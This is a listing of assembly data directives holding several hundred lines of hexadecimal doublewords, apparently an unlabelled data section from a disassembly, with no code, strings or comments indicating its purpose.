		dd 34A409DBh, 2C22DF7Ah, 0A340F9B7h, 61783CFBh,	2458316h
		dd 0AC02817Bh, 0E35760DEh, 0D9693840h, 74B55E92h, 1702D623h
		dd 748EDB40h, 0D4DAD74Fh, 0CF55400h, 0BF7D3EE5h, 4E910151h
		dd 0A9B5012Ah
		dd 31DF4502h, 800EE871h, 59F7440Bh, 17EEAE61h, 0B8AAEF74h
		dd 0DA7C0430h, 80805FFCh, 6A65BD2Bh, 0AD584415h, 8059B5DDh
		dd 9F4766FCh, 9D09E164h, 28410A75h, 465C2877h, 56510119h
		dd 0A7860BA8h, 9505DA55h, 0D36F58F5h, 0B4B07E02h, 70608BF1h
		dd 898021E5h, 1AA124BDh, 880F41C5h, 3340753Eh, 301CA23Ah
		dd 1676EF90h, 0EB53CF00h, 0B503BAAAh, 7125617Dh, 22EF595h
		dd 0B71D50B9h, 61DC8174h, 83F0CCCAh, 73DFC2C1h,	9F535838h
		dd 8109001h, 0D20A6C77h, 4F960E8h, 617DE680h, 8667813Bh
		dd 0D3DDC2B4h, 570C7895h, 9BC5650h, 0E35F1140h,	0E6D94570h
		dd 8DDE0581h, 0D2C1F669h, 0D51A7525h, 21F87779h, 9BC4077Bh
		dd 0A782A1EAh, 26B25B3Bh, 1EF97982h, 0F7815B00h, 0C28397Ah
		dd 23C31CFDh, 1E3459B5h, 2908D13Dh, 672A31DDh, 0A1AC2DE9h
		dd 4158DE4Bh, 401A41B7h, 0C08BF66Eh, 62098174h,	0F29FB40h
		dd 0B8D84ACDh, 1C4674h,	645213AFh, 470C56Ah, 85C7964Ah
		dd 1142909Dh, 5D583891h, 16151AECh, 10D1DF14h, 8D181DD1h
		dd 0CF5E9300h, 0BE071E60h, 38CE4BFEh, 1260857Eh, 1DB5333Bh
		dd 0FF20CF09h, 8B1C1694h, 0D99374BDh, 32ED6E54h, 7201E1ACh
		dd 0A902F10Dh, 7662A1A5h, 3226B92h, 0CDF357F0h,	0BF80BF12h
		dd 486686DCh, 0B06674Eh, 5E1F41B5h, 6BBF905Bh, 54FE0034h
		dd 0B8DA0248h, 20897285h, 53A02A09h, 0DB2921FDh, 18D18744h
		dd 0B10BB818h, 7F2B097Eh, 89177DE4h, 0F65FC1B5h, 0C2FEBF0Ah
		dd 280A9508h, 96D616CEh, 0ACC8AF25h, 28CC007Fh,	8D9FA65Fh
		dd 82320FEDh, 43561D02h, 0CD1D94Eh, 5B042A6h, 2EFCF1B7h
		dd 1F14235Bh, 4FE7006Dh, 0F2867EBh, 989955EFh, 0C9018333h
		dd 0F2D04A8h, 0D8F01773h, 600D077Bh, 4424ACh, 0F50EEAA6h
		dd 0B20EB4B8h, 0CF3A6D09h, 9D95E2D7h, 0E79E6D6Fh, 0DC800F32h
		dd 0D221BCB5h, 72552826h, 0B030108h, 0C07DE2E9h, 270FF2E0h
		dd 5B103980h, 0E8812FD9h, 0DB56440h, 0E12300EAh, 0EF673BA2h
		dd 0E9008CC7h, 0F8A6EE70h, 58965FD8h, 3BC0F005h, 0C4144334h
		dd 29F12200h, 2D186079h, 5F2500DBh, 7C326ABFh, 0F9135E10h
		dd 273AC18Bh, 0C4001623h, 0F78BAADAh, 46C2FDEBh, 279D341Dh
		dd 0EEE6FC4h, 32858D28h, 82DB2DC4h, 0E8611AC2h,	0B4002D7Ah
		dd 0A9C8284Fh, 127CE203h, 85C8DDCh, 0A49612F4h,	0B2B9DCBAh
		dd 23EEE55Bh, 0B58C5E4Dh, 0FB030EFh, 80C316Ch, 5A611260h
		dd 0E8EAD158h, 0DD2D4007h, 44F4B3F3h, 0E5BF6C01h, 5F3DACA3h
		dd 0E804E87Ah, 352D8C14h, 1937F56Ah, 9F389607h,	8780EFE0h
		dd 0B71450E1h, 0ABFA16E4h, 2C6F06h, 0CC8A7923h,	390F62C5h
		dd 9CF8ADFEh, 4251641Ch, 5305C083h, 0B6BA70EAh,	5AE96601h
		dd 0CD03222Eh, 8A0C5930h, 390BD1C2h, 19E1467Fh,	82240489h
		dd 5F0B4280h, 0BBFADDh,	0F5C9469Ah, 0EE16B46Fh,	0D6FAAC02h
		dd 6AC84952h, 5A7740D8h, 14081AC5h, 7B46145Eh, 0BAC9500h
		dd 0DB22D68Ah, 2027B0A0h, 5CB72541h, 20074BBBh,	8D1D989Dh
		dd 0AB8C7F44h, 9CD3BDB0h, 16465ED6h, 6BF4210Dh,	571C00FAh
		dd 9EB05FF8h, 0C233F124h, 0F2AB4CF6h, 0E9CC602h, 76D96FE9h
		dd 8FAEEC2h, 14465C5Fh,	1578EE26h, 3C5A9619h, 0D6B74D8Ch
		dd 4900F490h, 0BF66FAE2h, 258BC5E9h, 0EB086D9Dh, 0F016D628h
		dd 9DCDBAF9h, 2178EED8h, 0AB91E631h, 835E5101h,	6CF8F7BDh
		dd 12418E78h, 358524DEh, 0EB4EAEEh, 0FB305BC9h,	184C5B2Bh
		dd 74BE2760h, 71FDB7A5h, 14E02FFh, 0D0507BD7h, 5F004903h
		dd 36F67511h, 2C29E6BEh, 4F307AAh, 0B732E9F8h, 4E83B514h
		dd 5B508486h, 6F9D2C9Ch, 8D141E68h, 0FE56CAF3h,	5EA91905h
		dd 26A89FB2h, 191E1A0Ch, 41A17011h, 4D9D6834h, 47FBCA2h
		dd 0BD89D539h, 33B6E051h, 0D5BB577h, 9F98A262h,	811791A0h
		dd 210CF12Fh, 20E9352h,	0CFE48E0Fh, 0BA5F572Dh,	40F9EDABh
		dd 7D0D4666h, 0D4B99D00h, 0FD0E77Fh, 20FA5FBFh,	84A84986h
		dd 4470DF02h, 416650CCh, 0D235E516h, 0AC1FED6Fh, 877000B8h
		dd 0E28D329Eh, 0CE018116h, 31B28EF3h, 4E7423E9h, 3A5607BFh
		dd 9B0486Eh, 0ADC0C2EDh, 287314F0h, 2DD48E8Ah, 7F9A0621h
		dd 0E161E56Dh, 0FA2C890Fh, 71E4F8C2h, 1944A967h, 47088060h
		dd 53E9C116h, 0CAA63685h, 35CBCE0h, 854FA709h, 290F007Ah
		dd 0B40F79BDh, 0E1CDC929h, 1C40C2C0h, 0A30A245Fh, 0BBDE3FECh
		dd 0CEFE4660h, 0CD6700B9h, 2EE697DEh, 4D002336h, 24CC3B11h
		dd 16771464h, 0EFC38B5Eh, 0FCC04A9Ah, 284C511Dh, 0B98D8909h
		dd 0B78A2219h, 577D0FEh, 245DEBEh, 2957A16Dh, 29C8BDAFh
		dd 2B8A166Bh, 0CD90EAD8h, 0D16931h, 0C3E66212h,	948BA73Fh
		dd 29F67E01h, 939D8FC0h, 0E88F1E78h, 808E5F1Fh,	0C682BF50h
		dd 93027CFCh, 112F2EBEh, 0AD8B7314h, 80FA1FFFh,	620BE457h
		dd 7E140365h, 163FE86Bh, 1E0B5BA9h, 1E647512h, 1A5FFC27h
		dd 81F3C19Dh, 9C0FFAD2h, 32609E0h, 0CDD78F0Bh, 2CE06069h
		dd 0B30E7755h, 32BF2DF4h, 0B90E8E13h, 0B637EFE5h, 2330D5D2h
		dd 0A8CCBD33h, 9D8905CEh, 0ED5426ADh, 186E4E87h, 0FB0F2500h
		dd 0F57536A8h, 858914C1h, 5A8C2C69h, 8D10605Fh,	0EA8B2540h
		dd 48BEBAEDh, 16DF9661h, 1B9ABFC3h, 0E03532C2h,	28B5DE60h
		dd 8A058088h, 2E74B422h, 49545C4Ah, 1E9D01DCh, 0B59998BAh
		dd 8F4CD957h, 0B2D6D758h, 0FB8B8042h, 6429672Bh, 0D0106719h
		dd 0B9A9E5Fh, 99B52BD5h, 6E58B5E1h, 0A7AC2EA9h,	8FF83360h
		dd 0B64C4253h, 172C91D2h, 683F07B9h, 98021723h,	8BBB79D2h
		dd 42DBABBBh, 3D7482A8h, 83490B0Eh, 53AD6FF1h, 0B3B9F281h
		dd 81E26076h, 7C02E20Eh, 0CA8A0FCh, 0B68473AEh,	0B14E3173h
		dd 77A1222Fh, 7A681F41h, 79539C8Dh, 0FA57B8FCh,	0F4920772h
		dd 15309C82h, 0CA3394E4h, 0AC374DF8h, 2803024Fh, 5B762ABCh
		dd 0B019582h, 0DDFB2B07h, 8F61FDCDh, 0A4DAB6BEh, 660E2DBCh
		dd 0BA6CFAEBh, 9F311145h, 85C0DBC2h, 0B6718D29h, 3FFB5B61h
		dd 23580099h, 0AD0A090Fh, 87921637h, 80C0D590h,	0C722815Ch
		dd 6D0854Bh, 48BFE1D9h,	3B469578h, 0DFC1A5F0h, 7F16D714h
		dd 77BD0196h, 2F359501h, 85A1942Dh, 85852830h, 0A2B726B1h
		dd 0F08C204Fh, 0F3007BF6h, 0E89AD391h, 15B4097h, 6423FFD9h
		dd 0ED6986E5h, 53F209Ch, 1653BF88h, 600A6C33h, 4DE78135h
		dd 0C606316h, 0B426A3DDh, 0B9FA51B0h, 0E348EB05h, 0CD81674Ah
		dd 57020639h, 611F30CBh, 64E5905Fh, 0F603F5Fh, 5267454Ah
		dd 84F4BB58h, 1E7945h, 7CDACEC1h, 0A475AF14h, 0C3A8DE00h
		dd 0D8DD80D9h, 4E329061h, 4966EF7h, 0F1B58918h,	0A2BB69D5h
		dd 11414CC3h, 0B7162005h, 0ED1504F3h, 290C1802h, 0BE71BC07h
		dd 7CC71F24h, 74161546h, 0B306FB0h, 0A4BEFE2Eh,	0C8132684h
		dd 18F01D8Ch, 0A232E500h, 870840EEh, 89410026h,	3846ABB6h
		dd 5F50F52Fh, 0D89279CFh, 367895B3h, 338C01B1h,	0C18D31A5h
		dd 0C9924906h, 0C02C5B28h, 2F8E64B6h, 9CE92D5Eh, 6E8BBC89h
		dd 0BB5A803h, 0E5C85592h, 5B99C18Bh, 8B181BD1h,	50B09A01h
		dd 345F8673h, 94F3BC6Eh, 44F8272Dh, 74C80038h, 0E7D5C551h
		dd 973C5B86h, 119480DDh, 41CDF0DCh, 69A8B6E6h, 1E80B8B7h
		dd 20ADBD5Ah, 5F2E9065h, 0FEAB160Dh, 0CEC23DDAh, 0C4683FCDh
		dd 1D359531h, 0D4A74E01h, 23DE2B4Ah, 0CFE90017h, 50F543C5h
		dd 169160D4h, 11DB2404h
		dd 4BDDAE97h, 40DB48BDh, 973F7312h, 1D008651h, 0A5D089E3h
		dd 0A060F652h, 91329992h, 61D205D5h, 0B2B3B35Eh, 0B326301Dh
		dd 5BC07500h, 0A8F78D59h, 0B979812h, 6EC51419h,	0A000AAE2h
		dd 6AC0594h, 5BDC209Ch,	0EEA91669h, 97E10CD1h, 0F91AD8h
		dd 8971046Ch, 64C7D706h, 0F205D3EAh, 90426D66h,	0E0497C3h
		dd 5E575035h, 8360173Dh, 1B708269h, 5A2431ECh, 618B6458h
		dd 8E66DF90h, 0FB981B90h, 59A4C3DCh, 7F620EF4h,	700B9E65h
		dd 4502F104h, 0AAB3F18Bh, 4EBCD249h, 0C5853108h, 5002417h
		dd 0B32A08C7h, 3F6E4EC5h, 4DA72100h, 0EA94D76Dh, 2FBFE401h
		dd 523A9C93h, 5EF19A40h, 0F5D32DFFh, 0BD29CB98h, 1672754Dh
		dd 0B0CE3BE9h, 0B20E9E24h, 91D9F948h, 8B4721E4h, 0BD30649Dh
		dd 2FD51028h, 8157345Ah, 50779A8h, 0D3BB57A4h, 80169B75h
		dd 0AD7E6DAAh, 0DE8024A3h, 83908A4h, 9F85831Dh,	7DB4AC03h
		dd 0F663B476h, 4F6FD60Bh, 0E90CAD3Dh, 3AF96Eh, 291E2A74h
		dd 451378h, 0B540719Dh,	0F6F9B438h, 0E95FC209h,	0AABF75h
		dd 4313CEB8h, 0E950E3A5h, 7C07553Ch, 2E4DEEF9h,	0D54EA3F0h
		dd 0D8860152h, 0C75D9B2Dh, 2D834985h, 0E9F90D9Eh, 10090D2Fh
		dd 0F43A13A4h, 944DAC03h, 98F215C8h, 48FC57B3h,	7BD40A8Dh
		dd 0A47E70Bh, 52B08566h, 0B521D52Dh, 82CF2365h,	939D1F4Dh
		dd 56175AD9h, 80279EEAh, 0F6C07A27h, 0DD5138Bh,	17AB28Ah
		dd 0BFD1EC22h, 632C15F3h, 0A5CB29CEh, 0B850B7A4h, 8E92DD67h
		dd 304C50B2h, 62804C7Fh, 4565BDC5h, 0EF3CE992h,	1BB2F2B3h
		dd 3E9B3530h, 0B00BCD05h, 0ECA4781Ah, 0E68BF414h, 8D6E704Bh
		dd 0B37BB600h, 90BF66B8h, 71E4B212h, 8401D96Fh,	0A15F59EDh
		dd 9509C45Dh, 900BC527h, 72BE6693h, 4BF4B4C1h, 0D2838B37h
		dd 0A1BDD19Ah, 2ECBFEACh, 3F972DBAh, 112F1048h,	816D305Dh
		dd 0E4D800D7h, 1E78EE2Ah, 0F92734EFh, 0DF6D8B5Fh, 5067DF4Dh
		dd 0F308ACB0h, 0F531C0Ch, 443CA887h, 0CF030309h, 0FEA8D33Fh
		dd 81A44E70h, 6BE2F744h, 77F896Eh, 2B271494h, 15B562D8h
		dd 8B50B1A1h, 0E5163FF7h, 3B01996Fh, 0E96A111Ah, 0B819A40Dh
		dd 0D9415600h, 4CF4535h, 71E796E1h, 3BD6B38Ah, 37524B23h
		dd 430AD69Dh, 9DC11588h, 3738B0AFh, 941C0917h, 8930C583h
		dd 0CE5144A4h, 0C01A88D7h, 31EC410h, 3C1DE916h,	286FF292h
		dd 430CDE9Ch, 0B26D0FA7h, 652F5BC5h, 0A894A90Bh, 0C71E00A0h
		dd 69D01DF5h, 8B1CFC60h, 3A2D2DB5h, 700DFBFDh, 3F488653h
		dd 447A189Ah, 8310015Ch, 9A18F9B7h, 4E0EBBACh, 4134B9BDh
		dd 609036DDh, 5C9F630h,	858B3192h, 6A48B515h, 80E63E56h
		dd 4DEB48E3h, 0F57B9412h, 0F6819040h, 48E02312h, 6E4B7735h
		dd 0BB3C1042h, 4955B512h, 3BB75858h, 2C214E87h,	4B32C4C0h
		dd 76BE05C9h, 0B561AA81h, 642BEE12h, 4ECC7AB0h,	0B5D6E053h
		dd 82D6A17Ch, 1D88229Ah, 74A9F3C0h, 1E5E0240h, 5BF1E435h
		dd 7F05AB5Ch, 28B1F9E2h, 0D4B8133Dh, 37484F00h,	231C84C7h
		dd 816B0173h, 8D7649E6h, 224D6D7Dh, 0FA1CC1D5h,	6C0CED17h
		dd 31235A3Dh, 0A6EB8591h, 0FB79F07Ch, 60C418E2h, 118850FDh
		dd 47C05E8Ah, 3ED960BCh, 0F802EB09h, 7175EAA7h,	0B4DFCC5Eh
		dd 0D0E3479Eh, 2E53E41Fh, 1D23395Ch, 2CDFE2F8h,	34CFD200h
		dd 90C32B5Bh, 0E4702744h, 6D25C7E7h, 0B4ACC7F0h, 0A94484C8h
		dd 33E91994h, 7A3FF523h, 5F640087h, 0DC1A8CC2h,	40751733h
		dd 94B9B089h, 852731E2h, 0F1438951h, 15CDA7F1h,	0F483FC40h
		dd 4F07FFDh, 6D85C74Ch,	4377011Ah, 6E3F398Ch, 0AC73A71h
		dd 0BB0EEF58h, 86EE060Ah, 89C0A32Ch, 0B60CA98Dh, 0A55ED952h
		dd 0B5372Dh, 0B813FDE9h, 3D2633A4h, 18968A3Ah, 0DD6675DDh
		dd 0FE0DB0F7h, 0E6030903h, 9D29A678h, 890ED4A1h, 0A7165DCEh
		dd 0BD010540h, 0AA8E0AADh, 801EDA5Bh, 75BD8934h, 8807BE27h
		dd 0E9241461h, 0F90BE424h, 8D239007h, 82B7AAA1h, 5E75956Ah
		dd 88BB0047h, 613642BCh, 45150DB5h, 1EDEEB60h, 0F48D01DFh
		dd 8163E83Bh, 6E136B20h, 5EAD0630h, 84B09B45h, 6B809D4Fh
		dd 4ED67EEh, 292785BFh,	88C68E4Dh, 2AB8C315h, 0D7D6B617h
		dd 801FE8E0h, 0F059B70Fh, 0B8BCDBh, 9ED2C775h, 0DF81A697h
		dd 0EE96609h, 93CC8050h, 9801FA9Ah, 0F00C4524h,	241768EFh
		dd 0A2054C41h, 0F23E2D25h, 9C3E1823h, 0E56898Ah, 0A7E212E6h
		dd 2610A77Ch, 0C4E3E916h, 0C1779B69h, 604BBF99h, 0A86E6Eh
		dd 0AC0E21A0h, 0E407FC1Ah, 96F4CE2h, 0F94C0122h, 1B5D100Ah
		dd 380EB927h, 0E0BEF652h, 9BCC7DFh, 313DCADBh, 20FB604h
		dd 744D8D21h, 0DE6B2CFDh, 111D312h, 2207C8h, 4F479681h
		dd 0C3D0F7A5h, 0B75FF50Ch, 0B6416CF6h, 35DF2FA5h, 338480E4h
		dd 0E9958B9Dh, 8D6507FBh, 66E66012h, 0B5EC86E0h, 201ECC26h
		dd 2420791Ch, 0E65E183h, 2F1C2585h, 9EE0054Dh, 1E960B18h
		dd 9344F259h, 84FE1143h, 29ECB749h, 2A986501h, 0B4FD50DAh
		dd 408DF020h, 0BE91E92Eh, 2C5D9600h, 73B1E640h,	0C0150A5Ch
		dd 9C6EF2BBh, 0B7FF2D23h, 0DA78B51h, 7CB2C200h,	614C2A4Dh
		dd 80C604B4h, 598DD1D2h, 48C26A20h, 32883791h, 0DEBCCA24h
		dd 559519D1h, 5961E452h, 71C01CFh, 0D0C3AEDCh, 57E8FECDh
		dd 0E9764C1Bh, 7E30924Ch, 0C002F447h, 8D297328h, 1508DEC5h
		dd 1276508Bh, 751F199Dh, 79DDA307h, 8A36688Bh, 0E6195B15h
		dd 60DB34D5h, 0FCF15D36h, 0B6E2FFBBh, 0E4F010E1h, 0A4D3EF6h
		dd 43B6D20Ch, 0A0DF34A0h, 39381A90h, 0FC8A8160h, 0F91BD29h
		dd 0D78BB38Eh, 35950B61h, 5B1A3225h, 28DE7BD6h,	450C2C89h
		dd 6E6E3A1Dh, 0CA79E30Eh, 66024C60h, 5A2A64BBh,	5E98378Bh
		dd 22B2FF53h, 0DE8A1502h, 96673F8Bh, 0E7C94A45h, 0E6160E40h
		dd 9C60F31Bh, 6B0E1CE2h, 722075B6h, 0FDA033B9h,	102EC458h
		dd 5E2410DDh, 399D053Fh, 0ED59E41Ah, 0F890391h,	1AF59A81h
		dd 0D97040E3h, 2CA8A42Bh, 0F69801EDh, 9300A3E6h, 0E8815414h
		dd 627B7EAFh, 1A6D5835h, 18C4C467h, 0E4204A61h,	0D9D65EDh
		dd 0CD3DA5D8h, 0F8B5C0B9h, 0BE604101h, 2172790Ch, 40DDBD70h
		dd 0BF91612Ch, 12076DE2h, 1C11671Fh, 38DDB380h,	320B5E0Ch
		dd 0F07FCA4Dh, 201049AAh, 6FF728CBh, 4E2540D8h,	7F74A5C7h
		dd 0DA813902h, 6AEC1FF2h, 81C4370Bh, 37877FB4h,	0AD89410Ch
		dd 85C7011Dh, 6FD2202Dh, 837E1C0Fh, 0F977EB84h,	352988C1h
		dd 94766102h, 9E9C00DCh, 491B97B9h, 365C7427h, 31551072h
		dd 6107EB02h, 0E5F2E99Dh, 0C0EE6D95h, 5EF4CED3h, 9416EA09h
		dd 461BE0DBh, 0C428A511h, 6E7E6018h, 0F15F4856h, 4FEBC100h
		dd 0FA251C8Fh, 0A108AB01h, 0A4ACDAC6h, 71D2D4E8h, 7E4705Ch
		dd 0F53134CEh, 0B327501Bh, 5BF2D129h, 2AC7DD07h, 0CFCF17E6h
		dd 0DB6743DFh, 13E85A6h, 0DDB48700h, 0D9202352h, 0E9899E70h
		dd 2F985CF6h, 8230B555h, 3CC4BEADh, 91A053F7h, 8153072Eh
		dd 2811A2E7h, 8DF95F35h, 45507863h, 45B88119h, 0A1B2EA4Ah
		dd 2510B458h, 4C2120Bh,	0AD95E802h, 0C7C02432h,	0BB171F00h
		dd 13C8EDCAh, 553D064h,	0EA9F801Ah, 1188A3B6h, 0CD081AA1h
		dd 0BD0BC09Eh, 2F992771h, 0F11819F1h, 0B815EE06h, 0B0A4FF46h
		dd 0D0B55F7Ch, 0EEDF8106h, 58A4CF00h, 11858D61h, 9EAC7D13h
		dd 6500DC61h, 72B1646Fh, 9790F5BDh, 41503B87h, 0E7FD71BFh
		dd 81FE62A0h, 0CE6E4B62h
		dd 0E8B51212h, 99479080h, 18A5412Ah, 0DE9BE009h, 3340599Dh
		dd 0AE905E61h, 3FA62157h, 0AB600B73h, 0D6F15078h, 0ECEE5600h
		dd 773A5Dh, 1ADD752Eh, 0AED07A3h, 53FDA900h, 6697D4D1h
		dd 0B1B30BBAh, 0BC4D905Fh, 3A94A7C0h, 1EB101D8h, 0FCE8BE6h
		dd 7B287288h, 79FF9A2Eh, 93B1A10h, 692E7D11h, 8277B751h
		dd 0AAB1AC3Bh, 54F97141h, 8387A8BEh, 989A46EDh,	0E77D1Fh
		dd 63F8677Eh, 1179A884h, 87D4F64h, 1999A181h, 0D494A06h
		dd 3E9B4A1Ah, 253CB280h, 8E5E0FD4h, 2095B8C8h, 9CA114C5h
		dd 466FE01h, 0C865D845h, 0C01BA87Eh, 0D05DA9BAh, 0FE1EC01Ch
		dd 4352D668h, 6056D41Ch, 46076152h, 5F509AD2h, 12240481h
		dd 0A85754FCh, 8DABD73Fh, 4454CC33h, 4EDAB000h,	45873DAEh
		dd 0ADEE0219h, 28DB509h, 95642ED2h, 62F860A9h, 0F63B3380h
		dd 0BF03E2ACh, 75BA8D1Ah, 0EB67FBC1h, 384A196h,	0DFBF6841h
		dd 2E71C424h, 0F491AB69h, 411A929Fh, 8F513988h,	4760D0FFh
		dd 0C12E27E2h, 1D9C49h,	5ACC8A51h, 0B83C1058h, 8467DE4Eh
		dd 0FD83FAD2h, 0D10624CBh, 56160A98h, 61091CE5h, 8909C091h
		dd 7EC39195h, 3EA1B5B1h, 0D4EE1B11h, 8C1AE830h,	0D5164D01h
		dd 0EB700C6Ah, 0B6C8B240h, 91E84ECFh, 0F0B5E2A1h, 0AF91508Ah
		dd 0FBBA5318h, 0B9C0F359h, 0A44714DEh, 15533510h, 0C1230A00h
		dd 58C0FCADh, 0EE53A400h, 0AF283C87h, 805606B9h, 0A691D4CBh
		dd 2D798512h, 2D291628h, 0EA080D9Dh, 44D352FDh,	0A0413A51h
		dd 31000AC9h, 5DD0D19Dh, 0C18468FFh, 0E57E054Bh, 53AD738Ch
		dd 0DF34CD28h, 0C004DB57h, 6A98A556h, 88AF1A31h, 3A646C51h
		dd 29EB5956h, 8A80A656h, 826296A2h, 0E05E0ECAh,	0AA20D1E6h
		dd 973A998h, 2952F60Bh,	0F67D6444h, 35AB009Bh, 1CD7A5EFh
		dd 0F813E168h, 44C89E66h, 457C0061h, 71097460h,	0E300C214h
		dd 3481C3C4h, 495D824h,	0BD234A79h, 5F40BCF1h, 389540EAh
		dd 8AEB3D1h, 7A003573h,	681188B1h, 34958B05h, 60D3254Dh
		dd 39BD01E8h, 9812242h,	7E2FB99Dh, 9A9388B8h, 92648F7Bh
		dd 0D78D970Ah, 0D75154A8h, 0E3E009ECh, 221429F1h, 606C85A0h
		dd 728737FCh, 54F920B5h, 6D0129EDh, 4AA5783Bh, 9D304989h
		dd 686102C1h, 0C6AE464Dh, 2240817Eh, 0E752780h,	0F52F6BACh
		dd 4414C320h, 5A09E5F0h, 0A1EF7132h, 572A36ABh,	0DC745EFAh
		dd 5F6FE601h, 706EF0E7h, 0EECA9297h, 6E6A0489h,	365B0053h
		dd 0A7153756h, 964B5021h, 0B91E4081h, 0F865541Fh, 5D92D7AFh
		dd 5834D3FFh, 4E318720h, 1DA16011h, 0B920FA49h,	0D4305225h
		dd 0E040505Eh, 0A8C8FD2Ch, 43A54F2Dh, 1319BD1Fh, 3ACC89E4h
		dd 0F2DB4456h, 0F8179D85h, 0C64F80E8h, 2C5D4E1Bh, 398C9894h
		dd 0C51AECA4h, 0B8B6FD49h, 43DA004Fh, 846895A2h, 8E49EF64h
		dd 4D6D00B8h, 526002FAh, 259D1289h, 0B2A2571Ch,	906E2D21h
		dd 0FCF5B8Bh, 42F5EA27h, 0D173F140h, 8B1B0874h,	81318F0Fh
		dd 0F26615Eh, 2CE2F82Bh, 1B911A58h, 0C1CDC309h,	0EA8CA1C5h
		dd 9BB40002h, 1AE6CBFAh, 2202305Eh, 0A36F3A25h,	0DBE788CAh
		dd 0B4B7D5AFh, 2E301A00h, 128DAD98h, 8DDAD783h,	0CBAA3110h
		dd 0A502DEAh, 0DF046A28h, 68744A00h, 0DB0326E8h, 0C52549B5h
		dd 0FCE9180Eh, 0E117A693h, 206A19ACh, 14C91751h, 0C6D41A00h
		dd 0F8827802h, 0F0813A74h, 447E7202h, 8E5DE542h, 0AA6B1017h
		dd 23684148h, 42EE5917h, 6709C515h, 519BEF12h, 267403F5h
		dd 67C00F60h, 7E7297A6h, 5A8B861Bh, 0F95010C2h,	95FF050Bh
		dd 8FAD27C9h, 0DC3126E8h, 2E05549Fh, 928C622h, 296D97DFh
		dd 4DA328E0h, 0C184A291h, 8C3D1779h, 9590137h, 0B6B157C6h
		dd 0EF05CFACh, 4FCDBA4Fh, 0BFA02A8h, 8A2740B9h,	56B21B02h
		dd 0EA9156E4h, 78727A80h, 0B93292h, 0E2CE9973h,	0E6A1A659h
		dd 2D9964B8h, 66525000h, 26A5A8B9h, 60EF310Fh, 57DC569h
		dd 7BEE7F00h, 8509304Bh, 3DC7A74h, 2CB156B8h, 678F585Ah
		dd 860F52FCh, 90C296DCh, 0B9907757h, 920021FCh,	540C0EC1h
		dd 2C3556h, 468F23D8h, 8B68CB94h, 5A59FA13h, 0E2EC1283h
		dd 63375790h, 0CBB84000h, 2C95E1ACh, 89357F2h, 5A1806C9h
		dd 2FC4F65Eh, 91770B6Ah, 40C229D5h, 26ECF54Fh, 131C9752h
		dd 0A6C513D6h, 0DC79F3AFh, 84D1F4C3h, 0DF077A18h, 7CEEE2DAh
		dd 0D58A0962h, 0B5AA5F0Bh, 641293Bh, 85E0B58Dh,	8A50F904h
		dd 968589D4h, 87E035E6h, 504B9C70h, 4495F520h, 9DF00D3h
		dd 0AF4DA9BAh, 5706E294h, 9EF62DF5h, 0DC68B4A5h, 3F3E457Eh
		dd 0B19E8F1Eh, 0C1DC3964h, 956B497Bh, 0A7C414Ah, 5E9A02DCh
		dd 0B6E4D4B0h, 0FA410CE2h, 17F03295h, 0CCEAC00Bh, 5D208DB6h
		dd 0D3E9241Fh, 9D3182BEh, 9CC0FB5h, 14C4AC85h, 0B5314F60h
		dd 8B7B6567h, 0F91C9269h, 0FD9E0021h, 31D66E2h,	0B8E4F600h
		dd 5596AF9Fh, 2046258Dh, 0FA00D551h, 19B0D9C2h,	158C220Fh
		dd 8F3AE858h, 43E3801Dh, 9BA1F5h, 11A84CD1h, 0C02A3E08h
		dd 2B8F5F4Ch, 3B78DA04h, 0D11F00B1h, 6BFD3188h,	81490F1Eh
		dd 2BCB8FEDh, 20A24682h, 11B72115h, 160E883Ch, 0DCA461F1h
		dd 51F82EBFh, 34BC6041h, 5BF6EF52h, 0F9059F8h, 192F9D99h
		dd 0EC51FC52h, 0B6102C84h, 0EB25E989h, 0EAED5505h, 0CCC23E0h
		dd 20D790B2h, 80182275h, 84C2207Eh, 895FC2BCh, 0E586DB5h
		dd 0A5F6604Eh, 0BABB0E7h, 4504839Bh, 824DFA0Dh,	1DE551C1h
		dd 8B074B05h, 56051FA4h, 120376E0h, 3282E915h, 0BEA4FD69h
		dd 0E123B640h, 68847FE5h, 2A83135h, 69B3DBBFh, 0AFC64DC3h
		dd 0E4BA82D9h, 8131E87Eh, 1C40EE1h, 0F425090h, 0D9B2FBBFh
		dd 1102374h, 441D8D50h,	0FEE4D82Bh, 952F5875h, 0C240E8EDh
		dd 8F9416CDh, 8467F05Ah, 28881045h, 0B9002649h,	46862FBAh
		dd 8BF359E9h, 82388012h, 4C5E7B88h, 1D21372Dh, 0B05300D4h
		dd 2BB60933h, 0B90052EAh, 7CB2DC69h, 0A91CE959h, 0D6523D49h
		dd 40385E48h, 5A55F176h, 12AB4205h, 50D28DA4h, 3B8A0F1Fh
		dd 12A16AE7h, 0FBAA331Dh, 665CC82Dh, 2F12CCA8h,	418AC9DAh
		dd 0BF40D772h, 5BA143DAh, 8031DB40h, 0FF54839Ch, 15D70534h
		dd 0C0AB2C7h, 0E9B2CAE2h, 0BD83DDC2h, 839590Dh,	77AF8A84h
		dd 0E9B753A0h, 0FC0A8F39h, 8EC7362Ah, 932DD08h,	5A989059h
		dd 0A0007A07h, 6653DC3Ah, 1D8EE32Ch, 8A38FDECh,	188360CDh
		dd 61D006FEh, 0BA0103B8h, 25094F69h, 2E6C0390h,	0B5704594h
		dd 8D9C882h, 0D130600Bh, 4EF3B650h, 0B7B32800h,	0D902BA99h
		dd 0CEE215F8h, 0DC2F7490h, 0E6E9762Dh, 0CF58025Fh, 0AA55413Ah
		dd 30C41B62h, 0A88490A2h, 0B69042E5h, 0B9CCA5h,	22589EADh
		dd 0AA4B25BDh, 2F8A1A00h, 0E39123DAh, 0DB904E5Dh, 6D1B80B4h
		dd 131CBE60h, 0C20A5779h, 90756108h, 4F0E62h, 2FD68162h
		dd 0EAE280F6h, 9285948h, 9F928CAh, 0E45747E1h, 715A6016h
		dd 80ABB987h, 7D810C0h,	0D613C408h, 1100FB4h, 7671C086h
		dd 0EA306304h, 3D34001Dh, 6D0AC9C5h, 1CB0B7DEh,	1786B904h
		dd 0DC82F36h, 1E668A33h, 0F8A76C9Dh, 0DE025EE5h, 0CC498085h
		dd 1864E5D2h, 1AC610B7h, 914F9D01h, 40D914h, 958027Ah
		dd 0AA33A1BDh, 8D51F4h,	0CE15AC5Fh, 4D38D8A6h, 0F5A00E8h
		dd 1F3816E6h, 0DF112DEh, 877101EEh, 203A1AC5h, 0D92CB960h
		dd 83169FCEh, 1AADAF61h, 0C1EBC404h, 140C80C7h,	0B0D2DCF8h
		dd 8DC43080h, 0D4E12E8h
		dd 0DB7146A0h, 2D002B69h, 5497CCDCh, 12F823B3h,	304349AFh
